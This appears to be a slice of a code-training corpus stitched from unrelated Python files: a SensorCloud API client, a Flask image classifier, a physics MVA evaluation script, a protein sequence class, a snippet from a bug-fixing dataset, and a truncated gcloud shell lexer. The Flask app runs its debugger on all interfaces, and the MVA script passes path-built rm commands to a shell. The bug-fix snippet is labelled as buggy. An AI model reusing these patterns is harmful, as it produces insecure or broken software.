you to set the channel label and description.  All fileds are strings.\n    #we need to pack these strings into an xdr structure\n    packer = xdrlib.Packer()\n    packer.pack_int(1)  #version 1\n    packer.pack_string(channel_label.encode('utf-8'))\n    packer.pack_string(channel_desc.encode('utf-8'))\n    data = packer.get_buffer()\n\n    print(\"adding sensor...\")\n    conn.request('PUT', url=url, body=data, headers=headers)\n    response =conn.getresponse()\n    print(response.status , response.reason)\n\n    #if response is 201 created then we know the channel was added\n    if response.status == http.client.CREATED: \n        print(\"Channel successfuly added\")\n    else:\n        print(\"Error adding channel.  Error:\", response.read())\n\ndef uploadSinWave(server, auth_token, device_id, sensor_name, channel_name):\n    \"\"\"\n    Upload 10 minutes of 10 hz sin wave data.  use time.now() as the starting timestamp\n    \"\"\"\n\n    conn = http.client.HTTPSConnection(server)\n\n    url=\"/SensorCloud/devices/%s/sensors/%s/channels/%s/streams/timeseries/data/?version=1&auth_token=%s\"%(device_id, sensor_name, channel_name, auth_token)\n\n    #we need to pack these strings into an xdr structure\n    packer = xdrlib.Packer()\n    packer.pack_int(1)  #version 1\n\n    #set samplerate to 10 Hz\n    packer.pack_enum(HERTZ)\n    packer.pack_int(10)\n     \n\n    #Total number of datapoints.  6000 points is 10 minutes of data sampled at 10 Hz    \n    POINTS = 6000\n    packer.pack_int(POINTS)\n\n    print(\"generating data...\")\n    #now pack each datapoint, we'll use a sin wave function to generate fake data.  we'll use the current time as the starting point\n    timestamp_nanoseconds = int(time.time()*1000000000)  #start time in nanoseconds\n    sampleInterval_nanoseconds = 100000000  #number of nanoseconds between 2 datapoints when sampling at 10 Hz\n    for i in range(0,POINTS):\n        packer.pack_hyper(timestamp_nanoseconds)\n        packer.pack_float(math.sin(timestamp_nanoseconds/20000000000.0))  #generate value as a function of time\n        \n        #increment the timestamp for the next datapoint\n        timestamp_nanoseconds += sampleInterval_nanoseconds\n\n    data = packer.get_buffer()\n\n    print(\"adding data...\")\n    headers = {\"Content-type\" : \"application/xdr\"}\n    conn.request('POST', url=url, body=data, headers=headers)\n    response =conn.getresponse()\n    print(response.status , response.reason)\n\n    #if response is 201 created then we know the channel was added\n    if response.status == http.client.CREATED: \n        print(\"data successfuly added\")\n    else:\n        print(\"Error adding data.  Error:\", response.read())\n\ndef downloadData(server, auth_token, device_id, sensor_name, channel_name, startTime, endTime):\n    \"\"\"\n    download the 10 minutes of data uploaded by uploadSinWave.\n    Returns an array of tuples, where each tuple is a timestamp and a value\n    \"\"\"\n    conn = http.client.HTTPSConnection(server)\n\n    url = \"/SensorCloud/devices/%s/sensors/%s/channels/%s/streams/timeseries/data/?version=1&auth_token=%s&starttime=%s&endtime=%s\" % (device_id, sensor_name, channel_name, auth_token, startTime, endTime)\n    headers = {\"Accept\":\"application/xdr\"}\n    print(\"Downloading data...\")\n    conn.request(\"GET\", url=url, headers=headers)\n    response = conn.getresponse()\n    data = []\n    if response.status == http.client.OK:\n        print(\"Data retrieved\")\n        unpacker = xdrlib.Unpacker(response.read())\n        while True:\n            try:\n                timestamp = unpacker.unpack_uhyper()\n                value = unpacker.unpack_float()\n                data.append((timestamp, value))\n            except Exception as e:\n                print(e)\n                break\n        return data\n    else:\n        print(\"Status: %s\" % response.status)\n        print(\"Reason: %s\" % response.reason)\n        return data\n\ndef GetSensors(server, auth_token, device_id):\n    \"\"\"\n    Download the Sensors and Channel information for the Device.\n    Packs into a dict for easy con\n    \"\"\"\n    conn = http.client.HTTPSConnection(server)\n\n    url = \"/SensorCloud/devices/%s/sensors/?version=1&auth_token=%s\" % (device_id, auth_token)\n    headers = {\"Accept\":\"application/xdr\"}\n    conn.request(\"GET\", url=url, headers=headers)\n    sensors = {}\n    response = conn.getresponse()\n    if response.status == http.client.OK:\n        print(\"Data Retrieved\")\n        unpacker = xdrlib.Unpacker(response.read())\n        #unpack version, always first\n        unpacker.unpack_int()\n        #sensor info is an array of sensor structs.  In XDR, first you read an int, and that's the number of items in the array.  You can then loop over the number of elements in the array\n        numSensors = unpacker.unpack_int()\n        for i in range(numSensors):\n            sensorName = unpacker.unpack_string().decode('utf-8')\n            sensorType = unpacker.unpack_string().decode('utf-8')\n            sensorLabel = unpacker.unpack_string().decode('utf-8')\n            sensorDescription = unpacker.unpack_string().decode('utf-8')\n            #using sensorName as a key, add info to sensor dict\n            sensors[sensorName] = {\"name\":sensorName, \"type\":sensorType, \"label\":sensorLabel, \"description\":sensorDescription, \"channels\":{}}\n            #channels for each sensor is an array of channelInfo structs.  Read array length as int, then loop through the items\n            numChannels = unpacker.unpack_int()\n            for j in range(numChannels):\n                channelName = unpacker.unpack_string().decode('utf-8')\n                channelLabel = unpacker.unpack_string().decode('utf-8')\n                channelDescription = unpacker.unpack_string().decode('utf-8')\n                #using channel name as a key, add info to sensor's channel dict\n                sensors[sensorName][\"channels\"][channelName] = {\"name\":channelName, \"label\":channelLabel, \"description\":channelDescription, \"streams\":{}}\n                #dataStreams for each channel is an array of streamInfo structs, Read array length as int, then loop through the items\n                numStreams = unpacker.unpack_int()\n                for k in range(numStreams):\n                    #streamInfo is a union, where the type indicates which stream struct to use.  Currently we only support timeseries version 1, so we'll just code for that\n                    streamType = unpacker.unpack_string().decode('utf-8')\n                    if streamType == \"TS_V1\":\n                        #TS_V1 means we have a timeseriesInfo struct\n                        #total bytes allows us to jump ahead in our buffer if we're uninterested in the units.  For verbosity, we will parse them.\n                        total_bytes = unpacker.unpack_int()\n                        #units for each data stream is an array of unit structs.  Read array length as int, then loop through the items\n                        numUnits = unpacker.unpack_int()\n                        #add TS_V1 to streams dict\n                        sensors[sensorName][\"channels\"][channelName][\"streams\"][\"TS_V1\"] = {\"units\":{}}\n                        for l in range(numUnits):\n                            storedUnit = unpacker.unpack_string().decode('utf-8')\n                            preferredUnit = unpacker.unpack_string().decode('utf-8')\n                            unitTimestamp = unpacker.unpack_uhyper()\n                            slope = unpacker.unpack_float()\n                            offset = unpacker.unpack_float()\n                            #using unitTimestamp as a key, add unit info to unit dict\n                            sensors[sensorName][\"channels\"][channelName][\"streams\"][\"TS_V1\"][\"units\"][str(unitTimestamp)] = {\"stored\":storedUnit, \n                            \"preferred\":preferredUnit, \"unitTimestamp\":unitTimestamp, \"slope\":slope, \"offset\":offset}\n    return sensors\n\nif __name__ == \"__main__\":\n\n    #info for API key authentication\n    device_id = \"YOUR_DEVICE_ID\"\n    key = \"YOUR_OPEN_API_KEY\"\n    #info for alternate method of authentication using username/password\n    #(Needs to be enabled by user under permissions for the device)\n    username = \"YOUR_LOGIN_NAME_HERE\"\n    password = \"YOU_LOGIN_PASSWORD_HERE\"\n\n    #first autheticate using the open api device serial and it's coresponding key\n    #autheticate will return the server and an auth_token for all subsequent reguests\n    server, auth_token = authenticate_key(device_id, key)\n    #alternate method, uncomment to use\n    #server, auth_token = authenticate_alternate(device_id, username, password)\n\n    #add a new sensor to the device\n    addSensor(server, auth_token, device_id, sensor_name=\"S1\", sensor_desc=\"This is my first SensorCloud Sensor\")\n\n    #now add a channel to the sensor\n    addChannel(server, auth_token, device_id, sensor_name=\"S1\", channel_name=\"temp\")\n\n    #now add some data to the channel\n    uploadSinWave(server, auth_token, device_id, sensor_name=\"S1\", channel_name=\"temp\")\n\n    #now download the channel data to an array\n    #we need to specify range, roughly we can guess that the data is from a minute ago up to 20 minutes from now (it's 10 minutes worth of data in our data generator above)\n    startTime = int(time.time()) - 60\n    endTime = startTime + 1200 #1200 = 20 minutes in seconds\n    #call download function, the time ranges are in nanoseconds\n    data = downloadData(server, auth_token, device_id, \"S1\", \"temp\", startTime*1000000000, endTime*1000000000)\n\n    print(\"Downloaded %s points\" % len(data))\n    print(\"First point %s\" % str(data[0]))\n    print(\"Last point %s\" % str(data[-1]))\n\n    sensors = GetSensors(server, auth_token, device_id)","sub_path":"Example Code/Python/SensorCloudSample_Python3.py","file_name":"SensorCloudSample_Python3.py","file_ext":"py","file_size_in_byte":13764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"516906306","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n# This Application is used to classtify images using Tensorflow (InceptionV3) and build on Flask Framework.\nimport os, uuid\nfrom flask import Flask, render_template, request, url_for, send_from_directory\nfrom werkzeug.utils import secure_filename\nfrom image_rec import ImageRec \n\nimport base64\nimport re\n\nimport tempfile\n\n# config - upload images filepath\nUPLOAD_DIRECTORY = os.path.join(tempfile.gettempdir(), 'uploads')\n#UPLOAD_DIRECTORY = './uploads'\nif not os.path.exists(UPLOAD_DIRECTORY):\n    os.mkdir(UPLOAD_DIRECTORY)\n\napp = Flask(__name__)\napp.image_rec = ImageRec()\n\ndef upload_file(image):\n    # File Check\n    file_name = str(uuid.uuid4()) + '.jpg' \n    file_path = UPLOAD_DIRECTORY + '/' + file_name\n    with open(file_path, mode='wb') as f:\n        f.write(image)\n    return file_path\n\ndef image_recognition(file_path):\n    labels = app.image_rec.run(file_path)\n    return labels\n\n# routing\n@app.route('/', methods=['POST'])\ndef post():\n    hidden = request.form['canvas_hidden']\n    print('hidden:%s' % hidden)\n    # file upload and image recognition\n    if (hidden):\n        base64Text = re.sub('^.*,', '', hidden) # 先頭の不要部分を削除\n        base64Bytes = base64Text.encode()\n        image = base64.b64decode(base64Bytes)\n        file_path = upload_file(image)\n        image_result = image_recognition(file_path)           \n        return render_template('index.html',result=image_result,\n                                file_path=file_path)\n    return render_template('index.html')\n\n@app.route('/', methods=['GET'])\ndef get():\n    return render_template('index.html')\n            \n# routing imagefile\n@app.route('/uploads/<filename>')\ndef uploaded_file(filename):\n    return send_from_directory(UPLOAD_DIRECTORY, filename)\n\n# main http server\nif __name__ == \"__main__\":\n    port = int(os.environ.get(\"PORT\", 80))\n    try:\n        app.run(host=\"0.0.0.0\", port=port, debug=True)\n#        app.run()\n    except Exception as ex:\n        print(ex)\n","sub_path":"webapps/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"89117651","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport sys,hashlib\nimport os,subprocess\nimport ROOT \nfrom array import array\nfrom math import sqrt\nfrom copy import copy\n#suppres the EvalInstace conversion warning bug\nimport warnings\nwarnings.filterwarnings( action='ignore', category=RuntimeWarning, message='creating converter.*' )\nfrom optparse import OptionParser\nimport pickle\n\n\n#CONFIGURE\nROOT.gROOT.SetBatch(True)\n#load config\nargv = sys.argv\nparser = OptionParser()\nparser.add_option(\"-D\", \"--discr\", dest=\"discr\", default=\"\",\n                      help=\"discriminators to be added\")\nparser.add_option(\"-S\", \"--samples\", dest=\"names\", default=\"\",\n                      help=\"samples you want to run on\")\nparser.add_option(\"-C\", \"--config\", dest=\"config\", default=[], action=\"append\",\n                      help=\"configuration file\")\nparser.add_option(\"-W\", \"--weight\", dest=\"weight\", default='',\n                      help=\"list of weights, used when performing the optimisation\")\nparser.add_option(\"-f\", \"--filelist\", dest=\"filelist\", default=\"\",\n                              help=\"list of files you want to run on\")\n(opts, args) = parser.parse_args(argv)\n\nif opts.config ==\"\":\n        opts.config = \"config\"\n\nweight = opts.weight\nevaluate_optimisation = False\nif weight != '': evaluate_optimisation = True\n\nprint ('opts.filelist=\"'+opts.filelist+'\"')\nfilelist=filter(None,opts.filelist.replace(' ', '').split(';'))\nprint (filelist)\nprint (\"len(filelist)\",len(filelist),)\nif len(filelist)>0:\n    print (\"filelist[0]:\",filelist[0])\nelse:\n    print ('')\n\n#Import after configure to get help message\nfrom myutils import BetterConfigParser, progbar, printc, ParseInfo, MvaEvaluator\n\nconfig = BetterConfigParser()\nconfig.read(opts.config)\nanaTag = config.get(\"Analysis\",\"tag\")\n\n#get locations:\nWdir=config.get('Directories','Wdir')\nsamplesinfo=config.get('Directories','samplesinfo')\n\n#read shape systematics\nsystematics=config.get('systematics','systematics')\n\n#systematics\nINpath = config.get('Directories','MVAin')\nOUTpath = config.get('Directories','MVAout')\n\ninfo = ParseInfo(samplesinfo,INpath)\n\narglist = ''\n\nif not evaluate_optimisation:\n    arglist=opts.discr #RTight_blavla,bsbsb\nelse:\n#    print '@INFO: Evaluating bdt for optimisation'\n    arglist=weight\n\nnamelistIN=opts.names\nnamelist=namelistIN.split(',')\n\nprint ('namelist',namelist)\n# sys.exit(1)\n\n#doinfo=bool(int(opts.update))\n\nMVAlist=arglist.split(',')\n\n#CONFIG\n#factory\nfactoryname=config.get('factory','factoryname')\n\n#load the namespace\nVHbbNameSpace=config.get('VHbbNameSpace','library')\nROOT.gSystem.Load(VHbbNameSpace)\n\n#MVA\nMVAinfos=[]\nMVAdir=config.get('Directories','vhbbpath')\nfor MVAname in MVAlist:\n    MVAinfofile = open(MVAdir+'/python/weights/'+factoryname+'_'+MVAname+'.info','r')\n    MVAinfos.append(pickle.load(MVAinfofile))\n    MVAinfofile.close()\n    \nlonge=40\n#Workdir\nworkdir=ROOT.gDirectory.GetPath()\n\n\n\ntheMVAs = []\nfor mva in MVAinfos:\n    theMVAs.append(MvaEvaluator(config,mva))\n\n\n#eval\n\n# samples = info.get_samples(namelist)\n# print('info',info)\ntmpDir = os.environ[\"TMPDIR\"]\nfor job in info:\n    print ('job.name',job.name,'job.identifier',job.identifier,'namelist',namelist)\n    if not job.name in namelist and len([x for x in namelist if x==job.identifier])==0:\n        print ('job.name',job.name,'and job.identifier',job.identifier,'not in namelist',namelist)\n        continue\n    print ('\\t match - %s' %(job.name))\n    inputfiles = []\n    outputfiles = []\n    tmpfiles = []\n    if len(filelist) == 0:\n        #get trees:\n        # print(INpath+'/'+job.prefix+job.identifier+'.root')\n        # input = ROOT.TFile.Open(INpath+'/'+job.prefix+job.identifier+'.root','read')\n        # print(OUTpath+'/'+job.prefix+job.identifier+'.root')\n        # outfile = ROOT.TFile.Open(tmpDir+'/'+job.prefix+job.identifier+'.root','recreate')\n\n        inputfiles.append(INpath+'/'+job.prefix+job.identifier+'.root')\n        print('opening '+INpath+'/'+job.prefix+job.identifier+'.root')\n        tmpfiles.append(tmpDir+'/'+job.prefix+job.identifier+'.root')\n        try:\n            os.mkdir(OUTpath)\n        except:\n            pass\n        outputfiles.append(\"%s/%s/%s\" %(OUTpath,job.prefix,job.identifier+'.root'))\n    else:\n        for inputFile in filelist:\n            subfolder = inputFile.split('/')[-4]\n            filename = inputFile.split('/')[-1]\n            filename = filename.split('_')[0]+'_'+subfolder+'_'+filename.split('_')[1]\n            hash = hashlib.sha224(filename).hexdigest()\n            inputFile = \"%s/%s/%s\" %(INpath,job.identifier,filename.replace('.root','')+'_'+str(hash)+'.root')\n            inputFile = inputFile.replace('root://t3dcachedb03.psi.ch:1094/','')\n            if not os.path.isfile(inputFile): continue\n            outputFile = \"%s/%s/%s\" %(OUTpath,job.identifier,filename.replace('.root','')+'_'+str(hash)+'.root')\n            tmpfile = \"%s/%s\" %(tmpDir,filename.replace('.root','')+'_'+str(hash)+'.root')\n            if inputFile in inputfiles: continue\n            del_protocol = outputFile\n            del_protocol = del_protocol.replace('gsidcap://t3se01.psi.ch:22128/','srm://t3se01.psi.ch:8443/srm/managerv2?SFN=')\n            del_protocol = del_protocol.replace('dcap://t3se01.psi.ch:22125/','srm://t3se01.psi.ch:8443/srm/managerv2?SFN=')\n            del_protocol = del_protocol.replace('root://t3dcachedb03.psi.ch:1094/','srm://t3se01.psi.ch:8443/srm/managerv2?SFN=')\n            if os.path.isfile(del_protocol.replace('srm://t3se01.psi.ch:8443/srm/managerv2?SFN=','')):\n                f = ROOT.TFile.Open(outputFile,'read')\n                if not f:\n                  print ('file is null, adding to input')\n                  inputfiles.append(inputFile)\n                  outputfiles.append(outputFile)\n                  tmpfiles.append(tmpfile)\n                  continue\n                # f.Print()\n                if f.GetNkeys() == 0 or f.TestBit(ROOT.TFile.kRecovered) or f.IsZombie():\n                    print ('f.GetNkeys()',f.GetNkeys(),'f.TestBit(ROOT.TFile.kRecovered)',f.TestBit(ROOT.TFile.kRecovered),'f.IsZombie()',f.IsZombie())\n                    print ('File', del_protocol.replace('srm://t3se01.psi.ch:8443/srm/managerv2?SFN=',''), 'already exists but is buggy, gonna delete and rewrite it.')\n                    #command = 'rm %s' %(outputFile)\n                    command = 'srmrm %s' %(del_protocol)\n                    subprocess.call([command], shell=True)\n                    print(command)\n                else: continue\n            inputfiles.append(inputFile)\n            outputfiles.append(outputFile)\n            tmpfiles.append(tmpfile)\n        print ('inputfiles',inputfiles,'tmpfiles',tmpfiles)\n\n    for inputfile,tmpfile,outputFile in zip(inputfiles,tmpfiles,outputfiles):\n        input = ROOT.TFile.Open('root://t3dcachedb03.psi.ch:1094/'+inputfile,'read')\n        output = ROOT.TFile.Open(tmpfile,'recreate')\n        print ('')\n        print ('inputfile',inputfile)\n        print (\"Writing: \",tmpfile)\n        print ('outputFile',outputFile)\n        print ('')\n        input.cd()\n        obj = ROOT.TObject\n        for key in ROOT.gDirectory.GetListOfKeys():\n            input.cd()\n            obj = key.ReadObj()\n            #print obj.GetName()\n            if obj.GetName() == job.tree:\n                continue\n            output.cd()\n            #print key.GetName()\n            obj.Write(key.GetName())\n        tree = input.Get(job.tree)\n        nEntries = tree.GetEntries()\n        output.cd()\n        newtree = tree.CloneTree(0)\n\n        #Set branch adress for all vars\n        for i in range(0,len(theMVAs)):\n            theMVAs[i].setVariables(tree,job)\n        output.cd()\n        #Setup Branches\n        mvaVals=[]\n        for i in range(0,len(theMVAs)):\n            if job.type == 'Data':\n                mvaVals.append(array('f',[0]))\n                newtree.Branch(MVAinfos[i].MVAname,mvaVals[i],'nominal/F')\n            else:\n                mvaVals.append(array('f',[0]*len(systematics.split())))\n                newtree.Branch(theMVAs[i].MVAname,mvaVals[i],':'.join(systematics.split())+'/F')\n                #newtree.Branch(theMVAs[i].MVAname,mvaVals[i],'nominal:JER_up:JER_down:JES_up:JES_down:beff_up:beff_down:bmis_up:bmis_down:beff1_up:beff1_down/F')\n            MVA_formulas_Nominal = []\n            print('\\n--> ' + job.name +':')\n        #Fill event by event:\n        for entry in range(0,nEntries):\n            tree.GetEntry(entry)\n\n            for i in range(0,len(theMVAs)):\n                theMVAs[i].evaluate(mvaVals[i],job)\n            #Fill:\n            newtree.Fill()\n        newtree.AutoSave()\n        output.Close()\n\n        # targetStorage = OUTpath.replace('gsidcap://t3se01.psi.ch:22128/','srm://t3se01.psi.ch:8443/srm/managerv2?SFN=')+'/'+job.prefix+job.identifier+'.root'\n        targetStorage = outputFile.replace('gsidcap://t3se01.psi.ch:22128/','srm://t3se01.psi.ch:8443/srm/managerv2?SFN=')\n        if('pisa' in config.get('Configuration','whereToLaunch')):\n          command = 'rm %s' %(targetStorage)\n          print(command)\n          subprocess.call([command], shell=True)\n          # command = 'cp %s %s' %(tmpDir+'/'+job.prefix+job.identifier+'.root',targetStorage)\n          command = 'cp %s %s' %(tmpfile,targetStorage)\n          print(command)\n          subprocess.call([command], shell=True)\n        else:\n            command = 'srmrm %s' %(targetStorage.replace('root://t3dcachedb03.psi.ch:1094/','srm://t3se01.psi.ch:8443/srm/managerv2?SFN=/'))\n            print(command)\n            subprocess.call([command], shell=True)\n            command = 'srmcp -2 -globus_tcp_port_range 20000,25000 file:///%s %s' %(tmpfile,targetStorage.replace('root://t3dcachedb03.psi.ch:1094/','srm://t3se01.psi.ch:8443/srm/managerv2?SFN=/'))\n            print(command)\n            os.system(command)\n            command = 'rm %s' %(tmpfile)\n\n\n    \nprint('\\n')\n","sub_path":"python/evaluateMVA.py","file_name":"evaluateMVA.py","file_ext":"py","file_size_in_byte":9893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"361365227","text":"__author__ = \"asyavuz, sozerberk\"\n#\n# sequence.py\n# Sequence wrapper class for handling sequences easily, and calculating sequence-level features\n#\n# Authors: Ahmet Sinan Yavuz <asinanyavuz@sabanciuniv.edu>, Namik Berk Sozer <namikberk.sozer@std.yeditepe.edu.tr>\n#\n# Copyright (c) 2015 Ahmet Sinan Yavuz, Namik Berk Sozer, Osman Ugur Sezerman\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\nimport re\nimport residue\n\n# Normal Amino Acid Alphabet\naa_dict = {\"ALA\": 0, \"ARG\": 1, \"ASN\": 2, \"ASP\": 3, \"CYS\": 4, \"GLN\": 5, \"GLU\": 6, \"GLY\": 7, \"HIS\": 8,\n           \"ILE\": 9, \"LEU\": 10, \"LYS\": 11, \"MET\": 12, \"PHE\": 13, \"PRO\": 14, \"SER\": 15, \"THR\": 16, \"TRP\": 17,\n           \"TYR\": 18, \"VAL\": 19}\n\nclass Seq(object):\n    '''\n        Sequence wrapper class.\n    '''\n    identifier = ''\n    sequence = ''\n    residues = []\n    features = {}\n\n    def __init__(self, identifier, sequence, features=None):\n        '''\n        Initializes a sequence object\n        :param identifier: Sequence identifier\n        :param sequence: Amino acid sequence\n        :param features: Pre-calculated features\n        :return:\n        '''\n        self.identifier = identifier\n        self.sequence = sequence\n        self.residues = []\n        self.residues.append(None)\n\n        for i in xrange(0, len(self.sequence)): # Generate a residue object for each residue\n            tmp = residue.Residue(no=(i + 1), aa=self.sequence[i], parent=self)\n            tmp.features[\"class\"] = False\n            self.residues.append(tmp)\n        if features:\n            self.features = features\n        else:\n            self.features = {}\n\n    def add_iupred(self, filename=''):\n        '''\n        IUPred results parser\n        :param filename: IUPred prediction result file\n        :return: Nothing\n        '''\n        ifh = open(filename, \"r\")\n        lines = ifh.readlines()\n        ifh.close()\n\n        iuline = re.compile(r'(\\d+)\\s*(\\w+)\\s*(\\d+\\.\\d+)')\n\n        for line in lines:\n            ad = iuline.search(line)\n            if (ad):\n                if self.residues[int(ad.groups(1)[0])].aa == ad.groups(1)[1]:\n                    self.residues[int(ad.groups(1)[0])].features['iupred'] = float(ad.groups(1)[2])\n                else:\n                    raise Exception('Mismatch in IUPRED File with Sequence!')\n\n    def add_pssm(self, filename=''):\n        '''\n        PSSM  parser\n        :param filename: IUPred prediction result file\n        :return: Nothing\n        '''\n        ifh = open(filename, \"r\")\n        lines = ifh.readlines()\n        ifh.close()\n\n        aa_order = []\n\n        line_pattern = re.compile(r'\\s*(\\d+)\\s*([A-Z])\\s*(.+)?[\\n\\r]+')\n        aa_order_pattern = re.compile(r'\\s+([A-Z\\s]+)?[\\n\\r]+')\n\n        for idx, line in enumerate(lines):\n            if line == \"\" or line.startswith(\"Last position-specific\"):\n                continue\n\n            aa_order_match = aa_order_pattern.search(line)\n            if aa_order_match:\n                aa_order = aa_order_match.group(1).split()[0:20]\n            else:\n                line_match = line_pattern.search(line)\n                if line_match:\n                    rc = int(line_match.group(1))\n                    aa = line_match.group(2)\n                    if self.residues[rc].aa != aa:\n                        raise Exception(\"Invalid PSSM File! Amino acid mismatch at line %d for aminoacid %d in file %s.\\nHave \"\n                                      \"%s, got %s.\" % (idx, rc, filename, self.residues[rc].aa, aa))\n\n                    elems = line_match.group(3).split()[0:20]\n                    self.residues[rc].features['PSSM'] = [ int(x) for x in elems ]\n                else:\n                    continue\n\n        self.features['PSSM_AA_Order'] = aa_order\n\n    def set_aa_freq(self):\n        '''\n        Calculates frequency of each amino acid and amino acid groups in the protein\n        :return: Nothing\n        '''\n        rawamino_acids = ['A', 'N', 'C', 'Q', 'H', 'L', 'M', 'P', 'T', 'Y', 'R', 'D', 'E', 'G', 'I', 'K', 'F', 'S', 'W', 'V']\n        rawamino_acids_sz = ['[IVLM]', '[RKH]', '[DE]', '[QN]', '[ST]', '[A]', '[G]', '[W]', '[C]', '[YF]', '[P]']\n\n        attribute_names = ['freqSeq'+i for i in rawamino_acids]\n        attribute_vals = [(self.sequence.count(val))/float(len(self.sequence)) for val in rawamino_acids]\n\n        attribute_names.extend(['freqSeq'+i for i in rawamino_acids_sz])\n        attribute_vals.extend([len(re.findall(val, self.sequence))/float(len(self.sequence)) for val in rawamino_acids_sz])\n\n        for idx, val in enumerate(attribute_names):\n            self.features[val] = attribute_vals[idx]\n\n    def get_fasta(self):\n        '''\n        Returns FASTA (Pearson) formatted string of the sequence.\n        :return: FASTA formatted string\n        '''\n        fasta = \">%s\\n\" % (self.identifier)\n        seq = self.sequence\n        for i in range(0, len(seq), 60):\n            fasta += (seq[i:i + 60] + \"\\n\")\n        return fasta\n\n    def __getitem__(self, item):\n        return self.residues[item]\n\n    def __len__(self):\n        return len(self.residues)\n\n    def __iter__(self):\n          return iter(self.residues)","sub_path":"sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":6128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"597634243","text":"\n\ndef _handle_template(self):\n    src = self._task.args.get('src')\n    working_path = self._get_working_path()\n    if (os.path.isabs(src) or urlparse.urlsplit('src').scheme):\n        source = src\n    else:\n        source = self._loader.path_dwim_relative(working_path, 'templates', src)\n        if (not source):\n            source = self._loader.path_dwim_relative(working_path, src)\n    if (not os.path.exists(source)):\n        return\n    try:\n        with open(source, 'r') as f:\n            template_data = to_unicode(f.read())\n    except IOError:\n        return dict(failed=True, msg='unable to load src file')\n    self._task.args['src'] = self._templar.template(template_data)\n","sub_path":"Data Set/bug-fixing-2/8de25db6813eaa5c46b86e709b3925035e6f9995-<_handle_template>-bug.py","file_name":"8de25db6813eaa5c46b86e709b3925035e6f9995-<_handle_template>-bug.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"387431482","text":"# Copyright 2017 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"gcloud shell completion.\"\"\"\n\nfrom __future__ import unicode_literals\n\nimport enum\n\n\nSHELL_ESCAPE_CHAR = '\\\\'\nSHELL_QUOTE_CHARS = ('\"', \"'\")\nSHELL_TERMINATOR_CHARS = (';', '&', '|')\nSHELL_REDIRECTION_CHARS = ('<', '>')\n\n\nclass ShellTokenType(enum.Enum):\n  ARG = 1\n  FLAG = 2\n  TERMINATOR = 3\n  IO = 4\n  REDIRECTION = 5\n  FILE = 6\n  TRAILING_BACKSLASH = 7  # backslash at end of line\n\n\ndef UnquoteShell(s):\n  r\"\"\"Processes a quoted shell argument from the lexer.\n\n  Args:\n    s: the raw quoted string (ex: \"\\\"foo\\\" \\\\ 'bar'\")\n\n  Returns:\n    An argument as would be passed from a shell to a process it forks\n    (ex: \"foo\" \\ 'bar').\n\n  \"\"\"\n  # TODO(b/35347000): implement this function\n  return s\n\n\nclass ShellToken(object):\n  \"\"\"Shell token info.\n\n  Attributes:\n    value: The token string with quotes and escapes preserved.\n    lex: Instance of ShellTokenType\n    start: the index of the first char of the raw value\n    end: the index directly after the last char of the raw value\n  \"\"\"\n\n  def __init__(self, value, lex=ShellTokenType.ARG, start=None, end=None):\n    self.value = value\n    self.lex = lex\n    self.start = start\n    self.end = end\n\n  def UnquotedValue(self):\n    if self.lex is ShellTokenType.ARG or self.lex is ShellTokenType.FLAG:\n      return UnquoteShell(self.value)\n    else:\n      return self.value\n\n  def __eq__(self, other):\n    \"\"\"Equality based on properties.\"\"\"\n    if isinstance(other, self.__class__):\n      return self.__dict__ == other.__dict__\n    return False\n\n  def __repr__(self):\n    \"\"\"Improve debugging during tests.\"\"\"\n    return 'ShellToken({}, {}, {}, {})'.format(self.value, self.lex,\n                                               self.start, self.end)\n\n\ndef GetShellToken(i, s):\n  \"\"\"Returns the next shell token at s[i:].\n\n  Args:\n    i: The index of the next character in s.\n    s: The string to parse for shell tokens.\n\n  Returns:\n   A ShellToken, None if there are no more token in s.\n  \"\"\"\n  # Skip leading space.\n  while True:\n    if i >= len(s):\n      return None\n    c = s[i]\n    if not c.isspace():\n      break\n    i += 1\n  index = i\n\n  # Check for trailing backslash\n  if len(s) - 1 == i and s[i] == '\\\\':\n    i += 1\n    return ShellToken(s[index:i], ShellTokenType.TRAILING_BACKSLASH, index, i)\n\n  # Check for IO redirection.\n  if (c in SHELL_REDIRECTION_CHARS or c.isdigit() and i + 1 < len(s) and\n      s[i + 1] in SHELL_REDIRECTION_CHARS):\n    index = i\n    if s[i].isdigit():\n      i += 1\n    if i < len(s) and s[i] in SHELL_REDIRECTION_CHARS:\n      i += 1\n      while i < len(s) and s[i] in SHELL_REDIRECTION_CHARS:\n        i += 1\n      if i < len(s) - 1 and 